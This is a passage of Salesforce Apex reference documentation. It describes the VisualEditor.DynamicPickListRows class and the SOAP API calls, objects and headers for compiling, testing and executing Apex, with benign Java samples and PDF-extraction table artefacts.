List of picklist rows.
DynamicPickListRows()
Creates an instance of the VisualEditor.DynamicPickListRows class. You can then add rows by using the class’s addRow
or addAllRows methods.
Signature
public DynamicPickListRows()
DynamicPickListRows Methods
The following are methods for DynamicPickListRows.
IN THIS SECTION:
addAllRows(rows)
Adds a list of picklist items to a dynamic picklist rendered in a Lightning component on a Lightning page.
addRow(row)
Adds a single picklist item to a dynamic picklist rendered in a Lightning component on a Lightning page.
clone()
Makes a duplicate copy of the VisualEditor.DynamicPickListRows object.
2738
DynamicPickListRows ClassReference
containsAllRows()
Returns a Boolean value indicating whether all values of the picklist are included when a user does a type-ahead search query (true)
or only those values initially displayed when the list is clicked on (false).
get(i)
Returns a picklist element stored at the specified index.
getDataRows()
Returns a list of picklist items.
setContainsAllRows(containsAllRows)
Sets the value indicating whether all values of the picklist are included when a user does a type-ahead search query (true) or only
those values initially displayed when the list is clicked on (false).
size()
Returns the size of the list of VisualEditor.DynamicPickListRows.
sort()
Sorts the list of VisualEditor.DynamicPickListRows.
addAllRows(rows)
Adds a list of picklist items to a dynamic picklist rendered in a Lightning component on a Lightning page.
Signature
public void addAllRows(List<VisualEditor.DataRow> rows)
Parameters
rows
Type: List VisualEditor.DataRow
List of picklist items.
Return Value
Type: void
addRow(row)
Adds a single picklist item to a dynamic picklist rendered in a Lightning component on a Lightning page.
Signature
public void addRow(VisualEditor.DataRow row)
Parameters
row
Type: VisualEditor.DataRow
A single picklist item.
2739
DynamicPickListRows ClassReference
Return Value
Type: void
clone()
Makes a duplicate copy of the VisualEditor.DynamicPickListRows object.
Signature
public Object clone()
Return Value
Type: Object
containsAllRows()
Returns a Boolean value indicating whether all values of the picklist are included when a user does a type-ahead search query (true) or
only those values initially displayed when the list is clicked on (false).
Signature
public Boolean containsAllRows()
Return Value
Type: Boolean
A picklist in a Lightning component can display only the first 200 values of a list. If containsAllRows is set to false, when a user
does a type-ahead search to find values in the picklist, the search will only look at those first 200 values that were displayed, not the
complete set of picklist values.
get(i)
Returns a picklist element stored at the specified index.
Signature
public VisualEditor.DataRow get(Integer i)
Parameters
i
Type: Integer
The index.
Return Value
Type: VisualEditor.DataRow
2740
DynamicPickListRows ClassReference
getDataRows()
Returns a list of picklist items.
Signature
public List<VisualEditor.DataRow> getDataRows()
Return Value
Type: List VisualEditor.DataRow
setContainsAllRows(containsAllRows)
Sets the value indicating whether all values of the picklist are included when a user does a type-ahead search query (true) or only those
values initially displayed when the list is clicked on (false).
Signature
public void setContainsAllRows(Boolean containsAllRows)
Parameters
containsAllRows
Type: Boolean
Indicates if all values of the picklist are included in a type-ahead search query (true) or only those values initially displayed when the
list is clicked on (false).
A picklist in a Lightning component can display only the first 200 values of a list. If containsAllRows is set to false, when a
user does a type-ahead search to find values in the picklist, the search will only look at those first 200 values that were displayed,
not the complete set of picklist values.
Return Value
Type: void
size()
Returns the size of the list of VisualEditor.DynamicPickListRows.
Signature
public Integer size()
Return Value
Type: Integer
sort()
Sorts the list of VisualEditor.DynamicPickListRows.
2741
DynamicPickListRows ClassReference
Signature
public void sort()
Return Value
Type: void
2742
DynamicPickListRows ClassReference
APPENDICES
APPENDIX A SOAP API and SOAP Headers for Apex
This appendix details the SOAP API calls and objects that are available by default for Apex.
Note: Apex class methods can be exposed as custom SOAP Web service calls. This allows an external application to invoke an
Apex Web service to perform an action in Salesforce. Use the webService keyword to define these methods. For more
information, see Considerations for Using the WebService Keyword on page 255.
Any Apex code saved using SOAP API calls uses the same version of SOAP API as the endpoint of the request. For example, if you want
to use SOAP API version 39.0, use endpoint 39.0:
https://yourInstance.salesforce.com/services/Soap/s/39.0
For information on all other SOAP API calls, including those that can be used to extend or implement any existing Apex IDEs, contact
your Salesforce representative.
The following API objects are available:
•ApexTestQueueItem
•ApexTestResult
•ApexTestResultLimits
•ApexTestRunResult
The following are SOAP API calls:
•compileAndTest()
•compileClasses()
•compileTriggers()
•executeanonymous()
•runTests()
The following SOAP headers are available in SOAP API calls for Apex:
•DebuggingHeader
•PackageVersionHeader
Also see the Metadata API Developer Guide for two additional calls:
•deploy()
•retrieve()
ApexTestQueueItem
Represents a single Apex class in the Apex job queue. This object is available in API version 23.0 and later.
This object is available in API version 23.0 and later.
2743
Supported Calls
create(), describeSObjects(), query(), retrieve(), update(), upsert()
Fields
DescriptionField Name
Type
reference
ApexClassId
Properties
Create, Filter, Group, Sort
Description
The Apex class whose tests are to be executed.
Type
string
ExtendedStatus
Properties
Filter, Nillable, Sort
Description
The pass rate of the test run.
For example: “(4/6)”. This means that four out of a total of six tests passed.
If the class fails to execute, this field contains the cause of the failure.
Type
reference
ParentJobId
Properties
Filter, Group, Nillable, Sort
Description
Points to the AsyncApexJob that represents the entire test run.
If you insert multiple Apex test queue items in a single bulk operation, the queue
items will share the same parent job. This means that a test run can consist of
the execution of the tests of several classes if all the test queue items are inserted
in the same bulk operation.
Type
picklist
Status
Properties
Filter, Group, Restricted picklist, Sort, Update
Description
The status of the job. Valid values are:
•Holding1
2744
ApexTestQueueItemSOAP API and SOAP Headers for Apex
DescriptionField Name
•Queued
•Preparing
•Processing
•Aborted
•Completed
•Failed
1 This status applies to batch jobs in the Apex flex queue.
Type
reference
TestRunResultID
Properties
Filter, Group, Nillable, Sort
Description
The ID of the associated ApexTestRunResult object.
Usage
Insert an ApexTestQueueItem object to place its corresponding Apex class in the Apex job queue for execution. The Apex job
executes the test methods in the class.
To abort a class that is in the Apex job queue, perform an update operation on the ApexTestQueueItem object and set its Status
field to Aborted.
If you insert multiple Apex test queue items in a single bulk operation, the queue items will share the same parent job. This means that
a test run can consist of the execution of the tests of several classes if all the test queue items are inserted in the same bulk operation.
ApexTestResult
Represents the result of an Apex test method execution. This object is available in API version 23.0 and later.
Supported Calls
create(), delete(), describeSObjects(), query(), retrieve(), update()
Fields
DetailsField Name
Type
reference
ApexClassId
Properties
Create, Filter, Group, Sort, Update
2745
ApexTestResultSOAP API and SOAP Headers for Apex
DetailsField Name
Description
The Apex class whose test methods were executed.
Type
reference
ApexLogId
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
Points to the ApexLog for this test method execution if debug logging is enabled;
otherwise, null.
Type
reference
ApexTestRunResultId
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
The ID of the ApexTestRunResult that represents the entire test run.
Type
reference
AsyncApexJobId
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
Points to the AsyncApexJob that represents the entire test run.
This field points to the same object as
ApexTestQueueItem.ParentJobId.
Type
string
Message
Properties
Create, Filter, Nillable, Sort, Update
Description
The exception error message if a test failure occurs; otherwise, null.
Type
string
MethodName
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
The test method name.
2746
ApexTestResultSOAP API and SOAP Headers for Apex
DetailsField Name
Type
picklist
Outcome
Properties
Create, Filter, Group, Restricted picklist, Sort, Update
Description
The result of the test method execution. Can be one of these values:
•Pass
•Fail
•CompileFail
•Skip
Type
reference
QueueItemId
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
Points to the ApexTestQueueItem which is the class that this test method is part
of.
Type
int
RunTime
Properties
Create, Filter, Nillable, Sort, Update
Description
The time it took the test method to run, in seconds.
Type
string
StackTrace
Properties
Create, Filter, Nillable, Sort, Update
Description
The Apex stack trace if the test failed; otherwise, null.
Type
dateTime
TestTimestamp
Properties
Create, Filter, Sort, Update
Description
The start time of the test method.
2747
ApexTestResultSOAP API and SOAP Headers for Apex
Usage
You can query the fields of the ApexTestResult record that corresponds to a test method executed as part of an Apex class
execution.
Each test method execution is represented by a single ApexTestResult record. For example, if an Apex test class contains six test
methods, six ApexTestResult records are created. These records are in addition to the ApexTestQueueItem record that
represents the Apex class.
Each ApexTestResult record has an associated ApexTestResultLimits on page 2748 record, which captures the Apex limits used during
execution of the test method.
ApexTestResultLimits
Captures the Apex test limits used for a particular test method execution. An instance of this object is associated with each ApexTestResult
record. This object is available in API version 37.0 and later.
Supported Calls
create(), delete(), describeSObjects(), query(), retrieve(), update()
Fields
DetailsField Name
Type
reference
ApexTestResultId
Properties
Create, Filter, Group, Sort
Description
The ID of the associated ApexTestResult object.
Type
int
AsyncCalls
Properties
Create, Filter, Group, Sort, Update
Description
The number of asynchronous calls made during the test run.
Type
int
Callouts
Properties
Create, Filter, Group, Sort, Update
Description
The number of callouts made during the test run.
2748
ApexTestResultLimitsSOAP API and SOAP Headers for Apex
DetailsField Name
Type
int
Cpu
Properties
Create, Filter, Group, Sort, Update
Description
The amount of CPU used during the test run, in milliseconds.
Type
int
Dml
Properties
Create, Filter, Group, Sort, Update
Description
The number of DML statements made during the test run.
Type
int
DmlRows
Properties
Create, Filter, Group, Sort, Update
Description
The number of rows accessed by DML statements during the test run.
Type
int
Email
Properties
Create, Filter, Group, Sort, Update
Description
The number of email invocations made during the test run.
Type
string
LimitContext
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
Indicates whether the test run was synchronous or asynchronous.
Type
string
LimitExceptions
Properties
Create, Filter, Group, Nillable, Sort, Update
2749
ApexTestResultLimitsSOAP API and SOAP Headers for Apex
DetailsField Name
Description
Indicates whether your org has any limits that differ from the default limits.
Type
int
MobilePush
Properties
Create, Filter, Group, Sort, Update
Description
The number of mobile push calls made during the test run.
Type
int
QueryRows
Properties
Create, Filter, Group, Sort, Update
Description
The number of rows queried during the test run.
Type
int
Soql
Properties
Create, Filter, Group, Sort, Update
Description
The number of SOQL queries made during the test run.
Type
int
Sosl
Properties
Create, Filter, Group, Sort, Update
Description
The number of SOSL queries made during the test run.
Usage
The ApexTestResultLimits object is populated for each test method execution, and it captures the limits used between the Test.startTest()
and Test.stopTest() methods. If startTest() and stopTest() aren’t called, limits usage is not captured. Note the following:
•The associated test method must be run asynchronously.
•Limits for asynchronous Apex operations (batch, scheduled, future, and queueable) that are called within test methods are not
captured.
•Limits are captured only for the default namespace.
2750
ApexTestResultLimitsSOAP API and SOAP Headers for Apex
ApexTestRunResult
Contains summary information about all the test methods that were run in a particular Apex job. This object is available in API version
37.0 and later.
Supported Calls
create(), delete(), describeSObjects(), query(), retrieve(), update()
Fields
DetailsField Name
Type
reference
AsyncApexJobId
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
The parent Apex job ID for the result.
Type
int
ClassesCompleted
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
The total number of classes executed during the test run.
Type
int
ClassesEnqueued
Properties
Create, Filter, Group, Sort, Update
Description
The total number of classes enqueued during the test run.
Type
dateTime
EndTime
Properties
Create, Filter, Nillable, Sort, Update
Description
The time at which the test run ended.
2751
ApexTestRunResultSOAP API and SOAP Headers for Apex
DetailsField Name
Type
boolean
IsAllTests
Properties
Create, Filter, Group, Sort, Update
Description
Indicates whether all Apex test classes were run.
Type
string
JobName
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
Reserved for future use.
Type
int
MethodsCompleted
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
The total number of methods completed during the test run. This value is updated
after each class is run.
Type
int
MethodsEnqueued
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
The total number of methods enqueued for the test run. This value is initialized
before the test runs.
Type
int
MethodsFailed
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
The total number of methods that failed during this test run. This value is updated
after each class is run.
Type
string
Source
2752
ApexTestRunResultSOAP API and SOAP Headers for Apex
DetailsField Name
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
The source of the test run, such as the Developer Console.
Type
dateTime
StartTime
Properties
Create, Filter, Sort, Update
Description
The time at which the test run started.
Type
picklist
Status
Properties
Create, Filter, Group, Sort, Update
Description
The status of the test run. Values include:
•Queued
•Processing
•Aborted
•Completed
•Failed
Type
int
TestTime
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
The time it took the test to run, in seconds.
Type
reference
UserId
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
The user who ran the test run.
2753
ApexTestRunResultSOAP API and SOAP Headers for Apex
compileAndTest()
Compile and test your Apex in a single call.
Syntax
CompileAndTestResult[] = compileAndTest(CompileAndTestRequest request);
Usage
Use this call to both compile and test the Apex you specify with a single call. Production organizations (not a Developer Edition or
Sandbox Edition) must use this call instead of compileClasses() or compileTriggers().
This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the SOAP
API Developer's Guide.
All specified tests must pass, otherwise data is not saved to the database. If this call is invoked in a production organization, the
RunTestsRequest property of the CompileAndTestRequest is ignored, and all unit tests defined in the organization are run and must
pass.
Sample Code—Java
Note that the following example sets checkOnly to true so that this class is compiled and tested, but the classes are not saved to
the database.
{
CompileAndTestRequest request;
CompileAndTestResult result = null;
String triggerBody = "trigger t1 on Account (before insert){ " +
" for(Account a:Trigger.new){ " +
" a.description = 't1_UPDATE';}" +
"}";
String testClassBody = "@isTest private class TestT1{" +
" // Test for the trigger" +
" public static testmethod void test1(){" +
" Account a = new Account(name='TEST');" +
" insert(a);" +
" a = [select id,description from Account where id=:a.id];" +
" System.assert(a.description.contains('t1_UPDATE'));" +
" }" +
" // Test for the class" +
" public static testmethod void test2(){" +
" String s = C1.method1();" +
" System.assert(s=='HELLO');" +
" }" +
"}";
String classBody = "public class C1{" +
" public static String s ='HELLO';" +
2754
compileAndTest()SOAP API and SOAP Headers for Apex
" public static String method1(){" +
" return(s);" +
" }" +
"}";
request = new CompileAndTestRequest();
request.setClasses(new String[]{classBody, testClassBody});
request.setTriggers(new String[]{triggerBody});
request.setCheckOnly(true);
try {
result = apexBinding.compileAndTest(request);
}catch (RemoteException e) {
System.out.println("An unexpected error occurred: " + e.getMessage());
}
assert (result.isSuccess());
}
Arguments
DescriptionTypeName
A request that includes the Apex and the values for any fields that need
to be set for this request.
CompileAndTestRequestrequest
Response
CompileAndTestResult
CompileAndTestRequest
The compileAndTest() call contains this object, a request with information about the Apex to be compiled.
A CompileAndTestRequest object has the following properties:
DescriptionTypeName
If set to true, the Apex classes and triggers submitted are not saved to your
organization, whether or not the code successfully compiles and unit tests pass.
booleancheckOnly
Content of the class or classes to be compiled.stringclasses
Name of the class or classes to be deleted.stringdeleteClasses
Name of the trigger or triggers to be deleted.stringdeleteTriggers
Specifies information about the Apex to be tested. If this request is sent in a production
organization, this property is ignored and all unit tests are run for your entire
organization.
RunTestsRequestrunTestsRequest
Content of the trigger or triggers to be compiled.stringtriggers
2755
CompileAndTestRequestSOAP API and SOAP Headers for Apex
Note the following about this object:
•This object contains the RunTestsRequest property. If the request is run in a production organization, the property is ignored
and all tests are run.
•If any errors occur during compile, delete, testing, or if the goal of 75% code coverage is missed, no classes or triggers are saved to
your organization. This is the same requirement as Force.com AppExchange package testing.
•All triggers must have code coverage. If a trigger has no code coverage, no classes or triggers are saved to your organization.
CompileAndTestResult
The compileAndTest() call returns information about the compile and unit test run of the specified Apex, including whether it
succeeded or failed.
A CompileAndTestResult object has the following properties:
DescriptionTypeName
Information about the success or failure of the compileAndTest()
call if classes were being compiled.
CompileClassResultclasses
Information about the success or failure of the compileAndTest()
call if classes were being deleted.
DeleteApexResultdeleteClasses
Information about the success or failure of the compileAndTest()
call if triggers were being deleted.
DeleteApexResultdeleteTriggers
Information about the success or failure of the Apex unit tests, if any were
specified.
RunTestsResultrunTestsResult
If true, all of the classes, triggers, and unit tests specified ran successfully.
If any class, trigger, or unit test failed, the value is false, and details are
reported in the corresponding result object:
boolean*success
•CompileClassResult
•CompileTriggerResult
•DeleteApexResult
•RunTestsResult
Information about the success or failure of the compileAndTest()
call if triggers were being compiled.
CompileTriggerResulttriggers
* Link goes to the SOAP API Developer's Guide.
CompileClassResult
This object is returned as part of a compileAndTest() or compileClasses() call. It contains information about whether or
not the compile and run of the specified Apex was successful.
A CompileClassResult object has the following properties:
2756
CompileAndTestResultSOAP API and SOAP Headers for Apex
DescriptionTypeName
The CRC (cyclic redundancy check) of the class or trigger file.int*bodyCrc
The column number where an error occurred, if one did.int*column
An ID is created for each compiled class. The ID is unique within an organization.ID*id
The line number where an error occurred, if one did.int*line
The name of the class.string*name
The description of the problem if an error occurred.string*problem
If true, the class or classes compiled successfully. If false, problems are specified
in other properties of this object.
boolean*success
* Link goes to the SOAP API Developer's Guide.
CompileTriggerResult
This object is returned as part of a compileAndTest() or compileTriggers() call. It contains information about whether or
not the compile and run of the specified Apex was successful.
A CompileTriggerResult object has the following properties:
DescriptionTypeName
The CRC (cyclic redundancy check) of the trigger file.int*bodyCrc
The column where an error occurred, if one did.int*column
An ID is created for each compiled trigger. The ID is unique within an organization.ID*id
The line number where an error occurred, if one did.int*line
The name of the trigger.string*name
The description of the problem if an error occurred.string*problem
If true, all the specified triggers compiled and ran successfully. If the compilation
or execution of any trigger fails, the value is false.
boolean*success
* Link goes to the SOAP API Developer's Guide.
DeleteApexResult
This object is returned when the compileAndTest() call returns information about the deletion of a class or trigger.
A DeleteApexResult object has the following properties:
DescriptionTypeName
ID of the deleted trigger or class. The ID is unique within an organization.ID*id
2757
CompileAndTestResultSOAP API and SOAP Headers for Apex
DescriptionTypeName
The description of the problem if an error occurred.string*problem
If true, all the specified classes or triggers were deleted successfully. If any class or
trigger is not deleted, the value is false.
boolean*success
* Link goes to the SOAP API Developer's Guide.
compileClasses()
Compile your Apex in Developer Edition or sandbox organizations.
Syntax
CompileClassResult[] = compileClasses(string[] classList);
Usage
Use this call to compile Apex classes in Developer Edition or sandbox organizations. Production organizations must use
compileAndTest().
This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the SOAP
API Developer's Guide.
Sample Code—Java
public void compileClassesSample() {
String p1 = "public class p1 {\n"
+"public static Integer var1 = 0;\n"
+"public static void methodA() {\n"
+" var1 = 1;\n" +"}\n"
+"public static void methodB() {\n"
+" p2.MethodA();\n" +"}\n"
+"}";
String p2 = "public class p2 {\n"
+"public static Integer var1 = 0;\n"
+"public static void methodA() {\n"
+" var1 = 1;\n" +"}\n"
+"public static void methodB() {\n"
+" p1.MethodA();\n" +"}\n"
+"}";
CompileClassResult[] r = new CompileClassResult[0];
try {
r = apexBinding.compileClasses(new String[]{p1, p2});
}catch (RemoteException e) {
System.out.println("An unexpected error occurred: "
+ e.getMessage());
}
2758
compileClasses()SOAP API and SOAP Headers for Apex
if (!r[0].isSuccess()) {
System.out.println("Couldn't compile class p1 because: "
+ r[0].getProblem());
}
if (!r[1].isSuccess()) {
System.out.println("Couldn't compile class p2 because: "
+ r[1].getProblem());
}
}
Arguments
DescriptionTypeName
A request that includes the Apex classes and the values for any fields that need to be
set for this request.
string*scripts
* Link goes to the SOAP API Developer's Guide.
Response
CompileClassResult
compileTriggers()
Compile your Apex triggers in Developer Edition or sandbox organizations.
Syntax
CompileTriggerResult[] = compileTriggers(string[] triggerList);
Usage
Use this call to compile the specified Apex triggers in your Developer Edition or sandbox organization. Production organizations must
use compileAndTest().
This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the SOAP
API Developer's Guide.
Arguments
DescriptionTypeName
A request that includes the Apex trigger or triggers and the values for any fields that
need to be set for this request.
string*scripts
2759
compileTriggers()SOAP API and SOAP Headers for Apex
* Link goes to the SOAP API Developer's Guide.
Response
CompileTriggerResult
executeanonymous()
Executes a block of Apex.
Syntax
ExecuteAnonymousResult[] = binding.executeanonymous(string apexcode);
Usage
Use this call to execute an anonymous block of Apex. This call can be executed from AJAX.
This call supports the API DebuggingHeader and SessionHeader.
If a component in a package with restricted API access issues this call, the request is blocked.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that
is too long for the field.
Arguments
DescriptionTypeName
A block of Apex.string*apexcode
* Link goes to the SOAP API Developer's Guide.
SOAP API Developer's Guide contains information about security, access, and SOAP headers.
Response
ExecuteAnonymousResult[]
ExecuteAnonymousResult
The executeanonymous() call returns information about whether or not the compile and run of the code was successful.
An ExecuteAnonymousResult object has the following properties:
2760
executeanonymous()SOAP API and SOAP Headers for Apex
DescriptionTypeName
If compiled is False, this field contains the column number of the point where
the compile failed.
int*column
If compiled is False, this field contains a description of the problem that caused
the compile to fail.
string*compileProblem
If True, the code was successfully compiled. If False, the column, line, and
compileProblem fields are not null.
boolean*compiled
If success is False, this field contains the exception message for the failure.string*exceptionMessage
If success is False, this field contains the stack trace for the failure.string*exceptionStackTrace
If compiled is False, this field contains the line number of the point where the
compile failed.
int*line
If True, the code was successfully executed. If False, the exceptionMessage
and exceptionStackTrace values are not null.
boolean*success
* Link goes to the SOAP API Developer's Guide.
runTests()
Run your Apex unit tests.
Syntax
RunTestsResult[] = binding.runTests(RunTestsRequest request);
Usage
To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class
methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to
the database, send no emails, and are flagged with the testMethod keyword or the isTest annotation in the method definition.
Also, test methods must be defined in test classes, that is, classes annotated with isTest. Use this call to run your Apex unit tests.
This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the SOAP
API Developer's Guide.
Sample Code—Java
public void runTestsSample() {
String sessionId = "sessionID goes here";
String url = "url goes here";
// Set the Apex stub with session ID received from logging in with the partner API
_SessionHeader sh = new _SessionHeader();
apexBinding.setHeader(
2761
runTests()SOAP API and SOAP Headers for Apex
new ApexServiceLocator().getServiceName().getNamespaceURI(),
"SessionHeader", sh);
// Set the URL received from logging in with the partner API to the Apex stub
apexBinding._setProperty(ApexBindingStub.ENDPOINT_ADDRESS_PROPERTY, url);
// Set the debugging header
_DebuggingHeader dh = new _DebuggingHeader();
dh.setDebugLevel(LogType.Profiling);
apexBinding.setHeader(
new ApexServiceLocator().getServiceName().getNamespaceURI(),
"DebuggingHeader", dh);
long start = System.currentTimeMillis();
RunTestsRequest rtr = new RunTestsRequest();
rtr.setAllTests(true);
RunTestsResult res = null;
try {
res = apexBinding.runTests(rtr);
}catch (RemoteException e) {
System.out.println("An unexpected error occurred: " + e.getMessage());
}
System.out.println("Number of tests: " + res.getNumTestsRun());
System.out.println("Number of failures: " + res.getNumFailures());
if (res.getNumFailures() > 0) {
for (RunTestFailure rtf : res.getFailures()) {
System.out.println("Failure: " + (rtf.getNamespace() ==
null ? "" : rtf.getNamespace() + ".")
+ rtf.getName() + "." + rtf.getMethodName() + ": "
+ rtf.getMessage() + "\n" + rtf.getStackTrace());
}
}
if (res.getCodeCoverage() != null) {
for (CodeCoverageResult ccr : res.getCodeCoverage()) {
System.out.println("Code coverage for " + ccr.getType() +
(ccr.getNamespace() == null ? "" : ccr.getNamespace() + ".")
+ ccr.getName() + ": "
+ ccr.getNumLocationsNotCovered()
+" locations not covered out of "
+ ccr.getNumLocations());
if (ccr.getNumLocationsNotCovered() > 0) {
for (CodeLocation cl : ccr.getLocationsNotCovered())
System.out.println("\tLine " + cl.getLine());
}
}
}
System.out.println("Finished in " +
(System.currentTimeMillis() - start) + "ms");
}
2762
runTests()SOAP API and SOAP Headers for Apex
Arguments
DescriptionTypeName
A request that includes the Apex unit tests and the values for any fields that
need to be set for this request.
RunTestsRequestrequest
Response
RunTestsResult
RunTestsRequest
Specifies information about the Apex code to be tested. RunTestsRequest is part of CompileAndTestRequest, which is the request passed
to the compileAndTest() call. This object is also passed to the Tooling SOAP API call runTests(). You can specify the same
or different classes to be tested and compiled. Since triggers cannot be tested directly, they are not included in this object. Instead, you
must specify a class that calls the trigger.
If the request is sent to a production organization, this request is ignored and all unit tests defined for your organization are run.
The RunTestsRequest object has the following properties:
DescriptionTypeName
If allTests is true, all unit tests defined for your organization are run.boolean*allTests
An array of one or more objects.string*[]classes
If specified, the namespace that contains the unit tests to be run. Do not use this
property if you specify allTests as true. Also, if you execute compileAndTest()
stringnamespace
in a production organization, this property is ignored, and all unit tests defined for
the organization are run.
An optional parameter for the Tooling SOAP API call runTests(). To allow all
tests in a run to execute, set maxFailedTests to -1 or don’t specify a value.
intmaxFailedTests
To stop the test run from executing new tests after a given number of tests fail, set
maxFailedTests to an integer value from 0 to 1,000,000. This integer
value sets the maximum allowable test failures. A value of 0 causes the test run to
stop if any failure occurs. A value of 1 causes the test run to stop on the second
failure, and so on.
Do not use after version 10.0. For earlier, unsupported releases, the content of the
package to be tested.
string*[]packages
* Link goes to the SOAP API Developer's Guide.
RunTestsResult
Contains information about the execution of unit tests, including whether unit tests were completed successfully, code coverage results,
and failures.
2763
RunTestsRequestSOAP API and SOAP Headers for Apex
A RunTestsResult object has the following properties:
DescriptionTypeName
The ID of an ApexLog object that is created at the end of a test run.
The ApexLog object is created if there is an active trace flag on the
user running an Apex test, or on a class or trigger being executed.
stringapexLogId
This field is available in API version 35.0 and later.
An array of one or more CodeCoverageResult objects that contains
the details of the code coverage for the specified unit tests.
CodeCoverageResult[]codeCoverage
An array of one or more code coverage warnings for the test run.
The results include both the total number of lines that could have
CodeCoverageWarning[]codeCoverageWarnings
been executed, as well as the number, line, and column positions
of code that was not executed.
An array of one or more RunTestFailure objects that contain
information about the unit test failures, if there are any.
RunTestFailure[]failures
The number of failures for the unit tests.intnumFailures
The number of unit tests that were run.intnumTestsRun
An array of one or more RunTestSuccess objects that contain
information about successes, if there are any.
RunTestSuccess[]successes
The total cumulative time spent running tests. This can be helpful
for performance monitoring.
doubletotalTime
CodeCoverageResult
The RunTestsResult object contains this object. It contains information about whether or not the compile of the specified Apex and run
of the unit tests was successful.
A CodeCoverageResult object has the following properties:
DescriptionTypeName
For each class or trigger tested, for each portion of code tested, this property contains
the DML statement locations, the number of times the code was executed, and the
CodeLocation[]dmlInfo
total cumulative time spent in these calls. This can be helpful for performance
monitoring.
The ID of the CodeLocation. The ID is unique within an organization.IDid
For each class or trigger tested, if any code is not covered, the line and column of the
code not tested, and the number of times the code was executed.
CodeLocation[]locationsNotCovered
For each class or trigger tested, the method invocation locations, the number of times
the code was executed, and the total cumulative time spent in these calls. This can
be helpful for performance monitoring.
CodeLocation[]methodInfo
2764
RunTestsResultSOAP API and SOAP Headers for Apex
DescriptionTypeName
The name of the class or trigger covered.stringname
The namespace that contained the unit tests, if one is specified.stringnamespace
The total number of code locations.intnumLocations
For each class or trigger tested, the location of SOQL statements in the code, the
number of times this code was executed, and the total cumulative time spent in
these calls. This can be helpful for performance monitoring.
CodeLocation[]soqlInfo
For each class tested, the location of SOSL statements in the code, the number of
times this code was executed, and the total cumulative time spent in these calls. This
can be helpful for performance monitoring.
CodeLocation[]soslInfo
Do not use. In early, unsupported releases, used to specify class or package.stringtype
CodeCoverageWarning
The RunTestsResult object contains this object. It contains information about the Apex class which generated warnings.
This object has the following properties:
DescriptionTypeName
The ID of the class which generated warnings.IDid
The message of the warning generated.stringmessage
The name of the class that generated a warning. If the warning applies to the overall
code coverage, this value is null.
stringname
The namespace that contains the class, if one was specified.stringnamespace
RunTestFailure
The RunTestsResult object returns information about failures during the unit test run.
This object has the following properties:
DescriptionTypeName
The ID of the class which generated failures.
IDid
The failure message.
stringmessage
The name of the method that failed.
stringmethodName
The name of the class that failed.
stringname
The namespace that contained the class, if one was specified.
stringnamespace
2765
RunTestsResultSOAP API and SOAP Headers for Apex
DescriptionTypeName
Indicates whether the test method has access to organization data (true) or not
(false).
This field is available in API version 33.0 and later.
booleanseeAllData
The stack trace for the failure.
stringstackTrace
The time spent running tests for this failed operation. This can be helpful for
performance monitoring.
doubletime
Do not use. In early, unsupported releases, used to specify class or package.
stringtype
RunTestSuccess
The RunTestsResult object returns information about successes during the unit test run.
This object has the following properties:
DescriptionTypeName
The ID of the class which generated the success.IDid
The name of the method that succeeded.stringmethodName
The name of the class that succeeded.stringname
The namespace that contained the class, if one was specified.stringnamespace
Indicates whether the test method has access to organization data (true) or not
(false).
This field is available in API version 33.0 and later.
booleanseeAllData
The time spent running tests for this operation. This can be helpful for performance
monitoring.
doubletime
CodeLocation
The RunTestsResult object contains this object in a number of fields.
This object has the following properties:
DescriptionTypeName
The column location of the Apex tested.intcolumn
The line location of the Apex tested.intline
The number of times the Apex was executed in the test run.intnumExecutions
2766
RunTestsResultSOAP API and SOAP Headers for Apex
DescriptionTypeName
The total cumulative time spent at this location. This can be helpful for performance
monitoring.
doubletime
DebuggingHeader
Return the debug log in the output header, DebuggingInfo, and specify the level of detail in the debug log.
API Calls
compileAndTest(), executeanonymous(), runTests()
Fields
DescriptionTypeElement Name
Specifies the type and amount of information to be returned in the debug log.LogInfo[]categories
Deprecated. This field is provided only for backward compatibility. If you provide values
for both debugLevel and categories, the categories value is used.
DebugLevel
(enumeration of
type string)
debugLevel
The debugLevel field specifies the type of information returned in the debug log.
The values are listed from the least amount of information returned to the most
information returned. Valid values include:
•None
•Debugonly
•Db
•Profiling
•Callout
•Detail
LogInfo
Specifies the type and amount of information to be returned in the debug log. The categories field takes a list of these objects.
LogInfo is a mapping of category to level.
Fields
DescriptionTypeElement Name
Specify the type of information returned in the debug log. Valid values are:LogCategorycategory
•Db
2767
DebuggingHeaderSOAP API and SOAP Headers for Apex
DescriptionTypeElement Name
•Workflow
•Validation
•Callout
•Apex_code
•Apex_profiling
•Visualforce
•System
•All
Specifies the level of detail returned in the debug log.
Valid log levels are (listed from lowest to highest):
LogCategoryLevellevel
•NONE
•ERROR
•WARN
•INFO
•DEBUG
•FINE
•FINER
•FINEST
PackageVersionHeader
Specifies the package version for each installed managed package.
A managed package can have several versions with different content and behavior. This header allows you to specify the version used
for each package referenced by your API client.
If a package version is not specified, the API client uses the version of the package specified in Setup (enter API in the Quick Find
box, then select API).
API Calls
compileAndTest(), compileClasses(), compileTriggers(), executeanonymous()
Fields
DescriptionTypeElement Name
A list of package versions for installed managed packages referenced by your API client.PackageVersion[]packageVersions
2768
PackageVersionHeaderSOAP API and SOAP Headers for Apex
PackageVersion
Specifies a version of an installed managed package. A package version is majorNumber.minorNumber, for example 2.1.
Fields
DescriptionTypeField
The major version number of a package version.intmajorNumber
